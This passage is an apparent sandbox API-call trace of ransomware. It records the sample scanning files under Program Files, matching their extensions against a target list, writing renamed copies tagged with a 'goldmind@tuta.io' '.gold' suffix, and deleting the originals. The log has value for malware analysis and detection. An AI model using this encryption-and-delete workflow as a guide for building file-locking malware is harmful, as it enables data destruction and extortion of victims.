(lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20 [0088.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.677] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0088.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0088.678] lstrlenW (lpString=".doc") returned 4 [0088.678] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0088.678] lstrlenW (lpString=".docx") returned 5 [0088.678] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0088.678] lstrlenW (lpString=".pdf") returned 4 [0088.678] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0088.678] lstrlenW (lpString=".xls") returned 4 [0088.678] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0088.678] lstrlenW (lpString=".xlsx") returned 5 [0088.678] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0088.678] lstrlenW (lpString=".ppt") returned 4 [0088.678] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0088.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0088.678] lstrlenW (lpString=".zip") returned 4 [0088.678] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0088.678] lstrlenW (lpString=".rar") returned 4 [0088.678] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0088.678] lstrlenW (lpString=".bz2") returned 4 [0088.678] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0088.678] lstrlenW (lpString=".7z") returned 3 [0088.678] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0088.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0088.678] lstrlenW (lpString=".dbf") returned 4 [0088.678] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0088.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0088.679] lstrlenW (lpString=".1cd") returned 4 [0088.679] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0088.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0088.679] lstrlenW (lpString=".jpg") returned 4 [0088.679] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0088.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0088.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0088.679] lstrlenW (lpString=".doc") returned 4 [0088.679] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0088.679] lstrlenW (lpString=".docx") returned 5 [0088.679] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0088.679] lstrlenW (lpString=".pdf") returned 4 [0088.679] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0088.679] lstrlenW (lpString=".xls") returned 4 [0088.679] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0088.679] lstrlenW (lpString=".xlsx") returned 5 [0088.679] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0088.679] lstrlenW (lpString=".ppt") returned 4 [0088.679] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0088.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0088.679] lstrlenW (lpString=".zip") returned 4 [0088.679] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0088.679] lstrlenW (lpString=".rar") returned 4 [0088.679] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0088.679] lstrlenW (lpString=".bz2") returned 4 [0088.679] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0088.679] lstrlenW (lpString=".7z") returned 3 [0088.679] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0088.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0088.679] lstrlenW (lpString=".dbf") returned 4 [0088.679] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0088.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0088.679] lstrlenW (lpString=".1cd") returned 4 [0088.679] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0088.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0088.679] lstrlenW (lpString=".jpg") returned 4 [0088.679] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0088.679] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0088.679] lstrlenW (lpString="ipsnor.xml") returned 10 [0088.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0088.680] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=2580) returned 1 [0088.680] CloseHandle (hObject=0x194) returned 1 [0088.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml")) returned 0x20 [0088.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0088.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0088.680] lstrlenW (lpString=".doc") returned 4 [0088.680] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0088.680] lstrlenW (lpString=".docx") returned 5 [0088.680] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0088.680] lstrlenW (lpString=".pdf") returned 4 [0088.680] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0088.680] lstrlenW (lpString=".xls") returned 4 [0088.680] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0088.680] lstrlenW (lpString=".xlsx") returned 5 [0088.680] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0088.680] lstrlenW (lpString=".ppt") returned 4 [0088.680] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0088.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0088.680] lstrlenW (lpString=".zip") returned 4 [0088.680] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0088.680] lstrlenW (lpString=".rar") returned 4 [0088.680] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0088.680] lstrlenW (lpString=".bz2") returned 4 [0088.681] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0088.681] lstrlenW (lpString=".7z") returned 3 [0088.681] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0088.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0088.681] lstrlenW (lpString=".dbf") returned 4 [0088.681] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0088.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0088.681] lstrlenW (lpString=".1cd") returned 4 [0088.681] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0088.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0088.681] lstrlenW (lpString=".jpg") returned 4 [0088.681] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0088.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0088.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0088.681] lstrlenW (lpString=".doc") returned 4 [0088.681] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0088.681] lstrlenW (lpString=".docx") returned 5 [0088.681] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0088.681] lstrlenW (lpString=".pdf") returned 4 [0088.681] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0088.681] lstrlenW (lpString=".xls") returned 4 [0088.681] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0088.681] lstrlenW (lpString=".xlsx") returned 5 [0088.681] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0088.681] lstrlenW (lpString=".ppt") returned 4 [0088.681] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0088.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0088.681] lstrlenW (lpString=".zip") returned 4 [0088.681] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0088.681] lstrlenW (lpString=".rar") returned 4 [0088.681] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0088.681] lstrlenW (lpString=".bz2") returned 4 [0088.681] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0088.681] lstrlenW (lpString=".7z") returned 3 [0088.681] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0088.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0088.681] lstrlenW (lpString=".dbf") returned 4 [0088.681] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0088.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0088.681] lstrlenW (lpString=".1cd") returned 4 [0088.681] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0088.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml") returned 61 [0088.681] lstrlenW (lpString=".jpg") returned 4 [0088.681] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0088.682] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0088.682] lstrlenW (lpString="ipsplk.xml") returned 10 [0088.682] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0088.863] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=2600) returned 1 [0088.863] CloseHandle (hObject=0x38c) returned 1 [0088.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml")) returned 0x20 [0088.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.863] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml") returned 61 [0088.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml") returned 61 [0088.863] lstrlenW (lpString=".doc") returned 4 [0088.863] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0088.864] lstrlenW (lpString=".docx") returned 5 [0088.864] lstrcmpiW (lpString1=".docx", lpString2="k.xml") returned -1 [0088.864] lstrlenW (lpString=".pdf") returned 4 [0088.864] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0088.864] lstrlenW (lpString=".xls") returned 4 [0088.864] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0088.864] lstrlenW (lpString=".xlsx") returned 5 [0088.864] lstrcmpiW (lpString1=".xlsx", lpString2="k.xml") returned -1 [0088.864] lstrlenW (lpString=".ppt") returned 4 [0088.864] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0088.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml") returned 61 [0088.864] lstrlenW (lpString=".zip") returned 4 [0088.864] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0088.864] lstrlenW (lpString=".rar") returned 4 [0088.864] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0088.864] lstrlenW (lpString=".bz2") returned 4 [0088.864] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0088.864] lstrlenW (lpString=".7z") returned 3 [0088.864] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0088.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml") returned 61 [0088.864] lstrlenW (lpString=".dbf") returned 4 [0088.864] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0088.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml") returned 61 [0088.864] lstrlenW (lpString=".1cd") returned 4 [0088.864] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0088.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml") returned 61 [0088.864] lstrlenW (lpString=".jpg") returned 4 [0088.864] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0088.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml") returned 61 [0088.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml") returned 61 [0088.864] lstrlenW (lpString=".doc") returned 4 [0088.864] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0088.864] lstrlenW (lpString=".docx") returned 5 [0088.864] lstrcmpiW (lpString1=".docx", lpString2="k.xml") returned -1 [0088.864] lstrlenW (lpString=".pdf") returned 4 [0088.864] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0088.864] lstrlenW (lpString=".xls") returned 4 [0088.864] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0088.864] lstrlenW (lpString=".xlsx") returned 5 [0088.864] lstrcmpiW (lpString1=".xlsx", lpString2="k.xml") returned -1 [0088.864] lstrlenW (lpString=".ppt") returned 4 [0088.864] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0088.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml") returned 61 [0088.864] lstrlenW (lpString=".zip") returned 4 [0088.864] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0088.864] lstrlenW (lpString=".rar") returned 4 [0088.864] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0088.864] lstrlenW (lpString=".bz2") returned 4 [0088.864] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0088.864] lstrlenW (lpString=".7z") returned 3 [0088.864] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0088.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml") returned 61 [0088.864] lstrlenW (lpString=".dbf") returned 4 [0088.865] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0088.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml") returned 61 [0088.865] lstrlenW (lpString=".1cd") returned 4 [0088.865] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0088.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml") returned 61 [0088.865] lstrlenW (lpString=".jpg") returned 4 [0088.865] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0088.865] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0088.865] lstrlenW (lpString="ipsptb.xml") returned 10 [0088.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0088.865] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=2246) returned 1 [0088.865] CloseHandle (hObject=0x38c) returned 1 [0088.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20 [0088.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0088.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0088.866] lstrlenW (lpString=".doc") returned 4 [0088.866] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0088.866] lstrlenW (lpString=".docx") returned 5 [0088.866] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0088.866] lstrlenW (lpString=".pdf") returned 4 [0088.866] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0088.866] lstrlenW (lpString=".xls") returned 4 [0088.866] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0088.866] lstrlenW (lpString=".xlsx") returned 5 [0088.866] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0088.866] lstrlenW (lpString=".ppt") returned 4 [0088.866] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0088.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0088.866] lstrlenW (lpString=".zip") returned 4 [0088.866] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0088.866] lstrlenW (lpString=".rar") returned 4 [0088.866] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0088.866] lstrlenW (lpString=".bz2") returned 4 [0088.866] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0088.866] lstrlenW (lpString=".7z") returned 3 [0088.866] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0088.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0090.375] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.376] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0090.382] GetLastError () returned 0x0 [0090.382] ReadFile (in: hFile=0x194, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x976, lpOverlapped=0x0) returned 1 [0090.394] WriteFile (in: hFile=0x33c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x980, lpOverlapped=0x0) returned 1 [0090.394] ReadFile (in: hFile=0x194, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0090.394] WriteFile (in: hFile=0x33c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0090.394] SetEndOfFile (hFile=0x33c) returned 1 [0090.395] CloseHandle (hObject=0x33c) returned 1 [0090.395] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.395] SetEndOfFile (hFile=0x194) returned 1 [0090.398] CloseHandle (hObject=0x194) returned 1 [0090.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0090.401] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf")) returned 1 [0090.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0090.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0090.417] lstrlenW (lpString=".doc") returned 4 [0090.417] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.417] lstrlenW (lpString=".docx") returned 5 [0090.417] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0090.417] lstrlenW (lpString=".pdf") returned 4 [0090.417] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.417] lstrlenW (lpString=".xls") returned 4 [0090.417] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.417] lstrlenW (lpString=".xlsx") returned 5 [0090.417] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0090.417] lstrlenW (lpString=".ppt") returned 4 [0090.417] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0090.417] lstrlenW (lpString=".zip") returned 4 [0090.417] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.417] lstrlenW (lpString=".rar") returned 4 [0090.417] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.417] lstrlenW (lpString=".bz2") returned 4 [0090.417] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.417] lstrlenW (lpString=".7z") returned 3 [0090.417] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0090.418] lstrlenW (lpString=".dbf") returned 4 [0090.418] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0090.418] lstrlenW (lpString=".1cd") returned 4 [0090.418] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0090.418] lstrlenW (lpString=".jpg") returned 4 [0090.418] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0090.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0090.418] lstrlenW (lpString=".doc") returned 4 [0090.418] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.418] lstrlenW (lpString=".docx") returned 5 [0090.418] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0090.418] lstrlenW (lpString=".pdf") returned 4 [0090.418] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.418] lstrlenW (lpString=".xls") returned 4 [0090.418] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.418] lstrlenW (lpString=".xlsx") returned 5 [0090.418] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0090.418] lstrlenW (lpString=".ppt") returned 4 [0090.418] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0090.418] lstrlenW (lpString=".zip") returned 4 [0090.418] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.418] lstrlenW (lpString=".rar") returned 4 [0090.418] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.418] lstrlenW (lpString=".bz2") returned 4 [0090.418] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.418] lstrlenW (lpString=".7z") returned 3 [0090.418] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0090.418] lstrlenW (lpString=".dbf") returned 4 [0090.418] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0090.419] lstrlenW (lpString=".1cd") returned 4 [0090.419] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.419] lstrlenW (lpString="C:\\Program 